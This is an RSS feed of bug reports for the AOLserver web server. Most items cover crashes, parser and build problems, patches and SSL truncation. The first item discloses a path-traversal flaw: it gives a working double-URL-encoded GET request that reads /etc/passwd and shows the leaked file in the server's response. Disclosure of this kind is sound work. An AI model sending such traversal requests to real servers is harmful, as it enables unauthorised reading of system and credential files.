<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Recent changes to bugs</title><link>https://sourceforge.net/p/aolserver/bugs/</link><description>Recent changes to bugs</description><atom:link href="https://sourceforge.net/p/aolserver/bugs/feed.rss" rel="self"/><language>en</language><lastBuildDate>Fri, 02 Sep 2016 00:54:48 -0000</lastBuildDate><atom:link href="https://sourceforge.net/p/aolserver/bugs/feed.rss" rel="self" type="application/rss+xml"/><item><title>AOLserver &lt; 3.5.11 -- File path traversal</title><link>https://sourceforge.net/p/aolserver/bugs/291/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;Hello,&lt;/p&gt;
&lt;p&gt;File path traversal was found in AOLserver &amp;lt; 3.5.11.&lt;br/&gt;
This bug re-emerged in version 3.3, 3.4, 3.5...&lt;br/&gt;
Using this vulnerability,  attackers can gain read access to arbitrary files on the server.&lt;/p&gt;
&lt;p&gt;Regards,&lt;br/&gt;
NOMAD&lt;/p&gt;
&lt;hr/&gt;
&lt;p&gt;-- Http Request&lt;br/&gt;
GET /%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd HTTP/1.1&lt;br/&gt;
Host: {target}&lt;br/&gt;
Accept: &lt;em&gt;/&lt;/em&gt;&lt;br/&gt;
Accept-Language: en&lt;br/&gt;
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)&lt;br/&gt;
Connection: close&lt;/p&gt;
&lt;p&gt;-- Http Response&lt;br/&gt;
HTTP/1.0 200 OK&lt;br/&gt;
Cache-Control: no-cache, max-age=1&lt;br/&gt;
Last-Modified: Sat, 23 Apr 2016 04:51:21 GMT&lt;br/&gt;
Content-Type: application/octet-stream&lt;br/&gt;
MIME-Version: 1.0&lt;br/&gt;
Date: Thu, 23 Jun 2016 04:03:18 GMT&lt;br/&gt;
Server: AOLserver/3.5.11&lt;br/&gt;
Content-Length: 1925&lt;br/&gt;
Connection: close&lt;/p&gt;
&lt;p&gt;root:x:0:0:root:/root:/bin/bash&lt;br/&gt;
bin:x:1:1:bin:/bin:/sbin/nologin&lt;br/&gt;
daemon:x:2:2:daemon:/sbin:/sbin/nologin&lt;br/&gt;
adm:x:3:4:adm:/var/adm:/sbin/nologin&lt;br/&gt;
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin&lt;br/&gt;
sync:x:5:0:sync:/sbin:/bin/sync&lt;br/&gt;
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown&lt;br/&gt;
halt:x:7:0:halt:/sbin:/sbin/halt&lt;br/&gt;
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin&lt;br/&gt;
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin&lt;br/&gt;
operator:x:11:0:operator:/root:/sbin/nologin&lt;br/&gt;
games:x:12:100:games:/usr/games:/sbin/nologin&lt;br/&gt;
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin&lt;br/&gt;
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin&lt;br/&gt;
nobody:x:99:99:Nobody:/:/sbin/nologin&lt;br/&gt;
dbus:x:81:81:System message bus:/:/sbin/nologin&lt;br/&gt;
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin&lt;br/&gt;
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin&lt;br/&gt;
abrt:x:173:173::/etc/abrt:/sbin/nologin&lt;br/&gt;
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin&lt;br/&gt;
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin&lt;br/&gt;
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin&lt;br/&gt;
ntp:x:38:38::/etc/ntp:/sbin/nologin&lt;br/&gt;
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin&lt;br/&gt;
postfix:x:89:89::/var/spool/postfix:/sbin/nologin&lt;br/&gt;
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin&lt;br/&gt;
tcpdump:x:72:72::/:/sbin/nologin&lt;br/&gt;
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin&lt;br/&gt;
myrmidon:x:666:666:Trojan Hobby Horse:/home/myrmidon:/bin/bash&lt;br/&gt;
pubadmin:x:440:440:Public site AOLserver user:/home/pubadmin:/bin/bash&lt;br/&gt;
pubcode:x:441:440:Public site web code owner:/home/pubcode:/bin/bash&lt;br/&gt;
publogs:x:442:440:Public site web log reader:/home/publogs:/bin/bash&lt;br/&gt;
pubcerts:x:443:441:Public site web certificate owner:/home/pubcerts:/bin/bash&lt;br/&gt;
nsadmin:x:400:400:AOLserver user:/home/nsadmin:/bin/bash&lt;br/&gt;
webcode:x:401:400:Web code owner:/home/webcode:/bin/bash&lt;br/&gt;
weblogs:x:402:400:Web log reader:/home/weblogs:/bin/bash&lt;br/&gt;
webcerts:x:403:401:Web certificate owner:/home/webcerts:/bin/bash&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">NOMAD</dc:creator><pubDate>Fri, 02 Sep 2016 00:54:48 -0000</pubDate><guid>https://sourceforge.net8c4398fdce9e6f4566a531c23d17a5dc89d7e76e</guid></item><item><title>server crashes easily with small maxconns setting</title><link>https://sourceforge.net/p/aolserver/bugs/290/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;If the server configuration is set with a small maxconns setting (1 or 2) it crashes with a segfault very easily (typically within a few dozen requests) under a load test.&lt;/p&gt;
&lt;p&gt;Stack trace is&lt;br /&gt;
#0  0x00002b8997e8ebb5 in raise ()&lt;br /&gt;
#1  0x00002b8997e8ffb0 in abort ()&lt;br /&gt;
#2  0x00002b8997586d8e in Abort ()&lt;br /&gt;
#3  &amp;lt;signal handler called&amp;gt;&lt;br /&gt;
#4  0x00002b8997aea4e6 in pthread_join () &lt;br /&gt;
#5  0x00002b89976a7bdc in Ns_ThreadJoin ()&lt;br /&gt;
#6  0x00002b899756988c in NsJoinConnThreads ()&lt;br /&gt;
#7  0x00002b89975698c2 in NsCreateConnThread ()&lt;br /&gt;
#8  0x00002b899755de99 in DriverThread ()&lt;br /&gt;
...&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Jeff Rogers</dc:creator><pubDate>Tue, 07 Jun 2011 21:16:38 -0000</pubDate><guid>https://sourceforge.net4f59eb7b2fd6c61ce0191d608928e2937c3b6dfa</guid></item><item><title>ADP parser doesn't handle multiple nested tags</title><link>https://sourceforge.net/p/aolserver/bugs/289/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;The adp parser handles nested instances of &amp;lt;% %&amp;gt; within a section, but it cannot handle two consecutive nested tags because it stops looking for nested opening tags after the first instance of a nested closing tag.&lt;/p&gt;
&lt;p&gt;That is,&lt;br /&gt;
&amp;lt;% set foo {&amp;lt;% a &amp;lt;% b %&amp;gt; %&amp;gt;} %&amp;gt;&lt;br /&gt;
will parse correctly, but&lt;br /&gt;
&amp;lt;% set foo {&amp;lt;% a %&amp;gt; &amp;lt;% b %&amp;gt;} %&amp;gt; &lt;br /&gt;
will not.&lt;br /&gt;
&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Jeff Rogers</dc:creator><pubDate>Thu, 25 Feb 2010 06:58:30 -0000</pubDate><guid>https://sourceforge.net5c080f720e1b0a02881b5bf4ef75198b86120951</guid></item><item><title>building against tcl8.6b1 fails</title><link>https://sourceforge.net/p/aolserver/bugs/288/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;Tcl8.6 is removing some pubic members of the Tcl_Interp struct - errorLine and result.  (TIPs 330 and 336).  AOLServer accesses these members directly, so compilation fails.&lt;/p&gt;
&lt;p&gt;These member accesses should be replaced with the appropriate api functions.  Compatibility wrappers are needed for Tcl_SetErrorLine if building against older tcl versions.&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Jeff Rogers</dc:creator><pubDate>Tue, 24 Nov 2009 17:52:46 -0000</pubDate><guid>https://sourceforge.net79b4689cfb06cff9051a5b7b16ee65fcade092e9</guid></item><item><title>ensembles are not usable</title><link>https://sourceforge.net/p/aolserver/bugs/287/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;Tcl ensembles (created with the 'namespace ensemble' command) created in library modules are not usable after server startup in adp scripts.  This is because they are not serialized in init.tcl and added to the interpreter initialization script.&lt;/p&gt;
&lt;p&gt;This patch to init.tcl adds ensembles to the initialization script:&lt;br /&gt;
Index: nsd/init.tcl&lt;br /&gt;
===================================================================&lt;br /&gt;
RCS file: /cvsroot/aolserver/aolserver/nsd/init.tcl,v&lt;br /&gt;
retrieving revision 1.33&lt;br /&gt;
diff -c -r1.33 init.tcl&lt;br /&gt;
*** nsd/init.tcl        13 Apr 2006 19:06:28 -0000      1.33&lt;br /&gt;
--- nsd/init.tcl        24 Nov 2009 17:45:00 -0000&lt;br /&gt;
***************&lt;br /&gt;
*** 432,437 ****&lt;br /&gt;
--- 432,455 ----&lt;br /&gt;
}&lt;br /&gt;
}&lt;/p&gt;
&lt;p&gt;+ #&lt;br /&gt;
+ # _ns_genensemble -&lt;br /&gt;
+ #&lt;br /&gt;
+ #  if the passed command is an ensemble, returns a command &lt;br /&gt;
+ #  to recreate it&lt;br /&gt;
+ #  otherwise, returns an empty string&lt;br /&gt;
+ #&lt;br /&gt;
+ &lt;br /&gt;
+ proc _ns_getensemble {cmd} {&lt;br /&gt;
+     ::if {[::namespace ensemble exists $cmd]} {&lt;br /&gt;
+       ::array set _cfg [::namespace ensemble configure $cmd]&lt;br /&gt;
+       ::set _enns $_cfg(-namespace)&lt;br /&gt;
+       ::unset _cfg(-namespace)&lt;br /&gt;
+       ::set _encmd [::list namespace ensemble create -command $cmd {*}[::array get _cfg]]&lt;br /&gt;
+       return [::list namespace eval $_enns $_encmd]\n&lt;br /&gt;
+     }&lt;br /&gt;
+ }&lt;br /&gt;
+ &lt;/p&gt;
&lt;p&gt;#&lt;br /&gt;
# _ns_getpackages -&lt;br /&gt;
***************&lt;br /&gt;
*** 546,551 ****&lt;br /&gt;
--- 564,570 ----&lt;br /&gt;
&amp;amp;&amp;amp; $_orig != [::namespace which -command $_cmnd]} {&lt;br /&gt;
::append _import [::list namespace import -force $_orig] \n&lt;br /&gt;
}&lt;br /&gt;
+           ::append _import [_ns_getensemble $_cmnd]&lt;br /&gt;
}&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Jeff Rogers</dc:creator><pubDate>Tue, 24 Nov 2009 17:45:16 -0000</pubDate><guid>https://sourceforge.netb9a62d5b97ffcaf8ed584bdd85d4cd8125b4f3b9</guid></item><item><title>adp options are ignored by adpcmds.c</title><link>https://sourceforge.net/p/aolserver/bugs/286/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;One symptom is a ton of "missing close brace" errors when singlescript is enabled.&lt;/p&gt;
&lt;p&gt;This fix works for me:&lt;/p&gt;
&lt;p&gt;--- adpcmds.c~  2006-06-25 20:28:02.000000000 -0400&lt;br /&gt;
+++ adpcmds.c   2009-10-10 14:21:01.000000000 -0400&lt;br /&gt;
@@ -436,7 +436,8 @@&lt;br /&gt;
"arg ?arg ...?");&lt;br /&gt;
return TCL_ERROR;&lt;br /&gt;
}&lt;br /&gt;
-    isfile = flags = 0;&lt;br /&gt;
+    isfile = 0;&lt;br /&gt;
+    flags = itPtr-&amp;gt;adp.flags;&lt;br /&gt;
for (i = 1; i &amp;lt; objc; ++i) {&lt;br /&gt;
opt = Tcl_GetString(objv[i]);&lt;br /&gt;
if (STREQ(opt, "-global")) {&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Jonathan Ellis</dc:creator><pubDate>Sat, 10 Oct 2009 18:27:28 -0000</pubDate><guid>https://sourceforge.netdb9ee4775b68b9f4981462a0791b55a0226190c7</guid></item><item><title>Large SSL GET/POST transactions are sometimes truncated</title><link>https://sourceforge.net/p/aolserver/bugs/285/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;When using the https* client routines (e.g. ns_httpsget) to get a page from a server, SSL transactions are sometimes truncated.  This happens with a AOLserver 4.5.1 and nsopenssl 3.0beta26 client and server.  It also happens if the client is running AOLserver 3.4.2 / nsopenssl 2.x, but the server *must* be running AOlserver 4 / nsopenssl 3.0beta26.  We've tested and verified this bug on Redhat Enterprise Linux 4 and 5 and Mac OS X.&lt;/p&gt;
&lt;p&gt;The problem does not happen if the ns_httpsXXX call is replaced by ns_httpXXX (i.e., if HTTP is used rather than SSL).&lt;/p&gt;
&lt;p&gt;Here's sample output from a page that demonstrates the problem (using an RHEL4 client/server):&lt;/p&gt;
&lt;p&gt;-------------------------------------------------&lt;br /&gt;
Page Size | #Errors (out of 1)&lt;br /&gt;
70000 bytes | 0 errors&lt;br /&gt;
71000 bytes | 0 errors&lt;br /&gt;
72000 bytes | 0 errors&lt;br /&gt;
73000 bytes | 0 errors&lt;br /&gt;
ERROR: Expected 74000 bytes, but got 73728 bytes (off by 272 bytes)&lt;br /&gt;
74000 bytes | 1 errors&lt;br /&gt;
ERROR: Expected 75000 bytes, but got 73728 bytes (off by 1272 bytes)&lt;br /&gt;
75000 bytes | 1 errors&lt;br /&gt;
ERROR: Expected 76000 bytes, but got 73728 bytes (off by 2272 bytes)&lt;br /&gt;
76000 bytes | 1 errors&lt;br /&gt;
ERROR: Expected 77000 bytes, but got 73728 bytes (off by 3272 bytes)&lt;br /&gt;
77000 bytes | 1 errors&lt;br /&gt;
ERROR: Expected 78000 bytes, but got 73728 bytes (off by 4272 bytes)&lt;br /&gt;
78000 bytes | 1 errors&lt;br /&gt;
ERROR: Expected 79000 bytes, but got 73728 bytes (off by 5272 bytes)&lt;br /&gt;
79000 bytes | 1 errors&lt;br /&gt;
ERROR: Expected 80000 bytes, but got 73728 bytes (off by 6272 bytes)&lt;br /&gt;
80000 bytes | 1 errors&lt;br /&gt;
ERROR: Expected 81000 bytes, but got 73728 bytes (off by 7272 bytes)&lt;br /&gt;
81000 bytes | 1 errors&lt;br /&gt;
82000 bytes | 0 errors&lt;br /&gt;
83000 bytes | 0 errors&lt;br /&gt;
84000 bytes | 0 errors&lt;br /&gt;
85000 bytes | 0 errors&lt;br /&gt;
-------------------------------------------------&lt;/p&gt;
&lt;p&gt;In this case, the errors started at a page size of 74000 bytes and continued through a page size of 81000 bytes.  The specific sizes that produce errors vary from test to test and from platform to platform, but we haven't found any platforms that work consistently at all sizes.&lt;/p&gt;
&lt;p&gt;The attached file (sslbug.tcl) demonstrates the problem; just copy this file to the top-level context of a web server running AOLserver 4.x/nsopenssl 3.0beta26 and then navigate to &lt;a href="https://&amp;amp;lt;server&amp;amp;gt;/sslbug.tcl"&gt;https://&amp;lt;server&amp;gt;/sslbug.tcl&lt;/a&gt;, and you'll see something like the output above.  If you comment out the ns_httpsget and use ns_httpget instead, you'll see that the bug disappears.&lt;/p&gt;
&lt;p&gt;The only requirement for the bug appears to be an AOLserver 4 / nsopenssl 3.0beta26 server, with any AOLserver client.  In particular, we were unable to reproduce the bug in these scenarios:&lt;/p&gt;
&lt;p&gt;- AOLserver client talking to an Apache server&lt;br /&gt;
- AOLserver client talking to a Java server&lt;br /&gt;
- wget client talking to an AOLserver server&lt;br /&gt;
- Firefox/IE client talking to an AOLserver server&lt;/p&gt;
&lt;p&gt;Also, this happens either within the same AOLserver/nsopenssl client and server or with two different ones.&lt;/p&gt;
&lt;p&gt;Instrumenting the code shows that what's happening in the error cases is that ns_sockselect is being called and is indicating that the SSL socket is ready for reading, even though there are 0 bytes available to read--as you can see from this debugging output:&lt;/p&gt;
&lt;p&gt;[15/Jul/2009:13:10:43][6126.9034656][-default:5-] Debug: _ns_https_readable: after ns_sockselect(openssl14), sel='openssl14 {} {}', nread=0&lt;/p&gt;
&lt;p&gt;The subsequent read of the zero readable bytes causes the client routine to conclude that the transaction is finished.  However, it doesn't matter if the client routines continue waiting instead--the missing/truncated data will NEVER show up on the socket.  The only "workaround" we've found is to insert a delay before the data starts being read by ns_https{post,get}; in our testing, 300 milliseconds resolves the problem consistently on RHEL4, and a mere 1 millisecond delay resolves the problem on OS X (but note that this ONLY works if the client hasn't read any data yet...if it reads any data at all, no amount of sleeping will prevent the bug from occurring).  While this demontrates that the problem is somehow timing-related, it's of course not a fix.&lt;/p&gt;
&lt;p&gt;So basically, it appears that data may be lost/truncated for an SSL socket when a client starts reading the data before all of it has been received.&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">John Caruso</dc:creator><pubDate>Wed, 15 Jul 2009 20:45:43 -0000</pubDate><guid>https://sourceforge.netb1a4479eb218b691a0dec75bafb0a4d21410fb08</guid></item><item><title>Segmentation fault on AdpRun at adpeval.c:439</title><link>https://sourceforge.net/p/aolserver/bugs/284/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;There is a bug in AOLserver version 4.0.10 in function AdpRun that causes segmentation fault in some cases. &lt;/p&gt;
&lt;p&gt;If the file is parsed by ADP and has bigger size than value defined in parameter "cachesize" the AOLserver cannot serve this file because it causes segmentation fault. &lt;/p&gt;
&lt;p&gt;I have test that on HTML file that had more that 5 MB. The "cachesize" was defined as: &lt;/p&gt;
&lt;p&gt;ns_param   cachesize       [expr 5000*1024]&lt;/p&gt;
&lt;p&gt;After opennig the file in webrowser I got:&lt;/p&gt;
&lt;p&gt;[18/Apr/2008:10:33:54][15178.10251][-conn:polska::5] Notice:  GET test.polska.pl /sql/15.html&lt;br /&gt;
Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;
[Switching to Thread 10251 (LWP 15229)]&lt;br /&gt;
0x400277c8 in AdpRun (itPtr=0x83a2848, file=0x423352a8 "/web/jail/servers/polska/packages/miniacs/www/startpage.adp",&lt;br /&gt;
objc=2, objv=0x4233552c, outputPtr=0x4233563c) at adpeval.c:439&lt;br /&gt;
439             ++ipagePtr-&amp;gt;pagePtr-&amp;gt;evals;&lt;/p&gt;
&lt;p&gt;This is the backtrace:&lt;br /&gt;
(gdb) bt&lt;br /&gt;
#0  0x400277c8 in AdpRun (itPtr=0x83a2848, file=0x423352a8 "/web/jail/servers/polska/packages/miniacs/www/startpage.adp",&lt;br /&gt;
objc=2, objv=0x4233552c, outputPtr=0x4233563c) at adpeval.c:439&lt;br /&gt;
#1  0x40027049 in NsAdpInclude (itPtr=0x83a2848,&lt;br /&gt;
file=0x807eab0 "/web/jail/servers/polska/packages/miniacs/www/startpage.adp", objc=2, objv=0x4233552c) at adpeval.c:260&lt;br /&gt;
#2  0x40029bd1 in Ns_AdpRequest2 (conn=0x8099a68,&lt;br /&gt;
file=0x42335788 "/web/jail/servers/polska/packages/polska/www/sql/15.html", arg=0x0) at adprequest.c:173&lt;br /&gt;
#3  0x400298e7 in Ns_AdpRequest (conn=0x8099a68, file=0x42335788 "/web/jail/servers/polska/packages/polska/www/sql/15.html")&lt;br /&gt;
at adprequest.c:91&lt;br /&gt;
#4  0x40029887 in NsAdpProc (arg=0x8059c70, conn=0x8099a68) at adprequest.c:67&lt;br /&gt;
#5  0x4003dfb3 in Ns_ConnRunRequest (conn=0x8099a68) at op.c:269&lt;br /&gt;
#6  0x40040080 in ConnRun (connPtr=0x8099a68) at queue.c:771&lt;br /&gt;
#7  0x4003fb5e in NsConnThread (arg=0x846d278) at queue.c:619&lt;br /&gt;
#8  0x4007afef in NsThreadMain (arg=0x81c8b60) at thread.c:224&lt;br /&gt;
#9  0x4007cb02 in ThreadMain (arg=0x81c8b60) at pthread.c:730&lt;br /&gt;
#10 0x40158fef in pthread_start_thread () from /lib/i686/libpthread.so.0&lt;br /&gt;
#11 0x401590df in pthread_start_thread_event () from /lib/i686/libpthread.so.0&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">qqlka</dc:creator><pubDate>Fri, 18 Apr 2008 09:56:23 -0000</pubDate><guid>https://sourceforge.net434f2bbb9ff2a57263b9de5bf8eab3edaa9c2983</guid></item><item><title>util.tcl procs should allow XHTML</title><link>https://sourceforge.net/p/aolserver/bugs/283/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;ns_tagelement and ns_formvalueput are both incapable of handling well-formed XHTML syntax, especially in the face of properly closed &amp;lt;input /&amp;gt; elements. In addition, ns_formvalueput generates invalid XHTML syntax, in two ways: it does not provide values for CHECKED or SELECTED attributes, and it spells them in upper case.&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Rick Cobb</dc:creator><pubDate>Fri, 08 Feb 2008 22:23:39 -0000</pubDate><guid>https://sourceforge.netea33ed7e8f704faeab5a0d7b7f8f757cefc995e2</guid></item><item><title>HTML procs should handle single-quoted attribute values</title><link>https://sourceforge.net/p/aolserver/bugs/282/</link><description>&lt;div class="markdown_content"&gt;&lt;p&gt;ns_tagelement and ns_formvalueput don't handle attribute values that are enclosed by single quotes. See the example on the ns_tagelement wiki, and the Notes for the ns_formvalueput wiki.&lt;/p&gt;&lt;/div&gt;</description><dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Rick Cobb</dc:creator><pubDate>Fri, 08 Feb 2008 22:10:47 -0000</pubDate><guid>https://sourceforge.netc4c5ba730b1995dbee57cfa07357d345da983e1f</guid></item></channel></rss>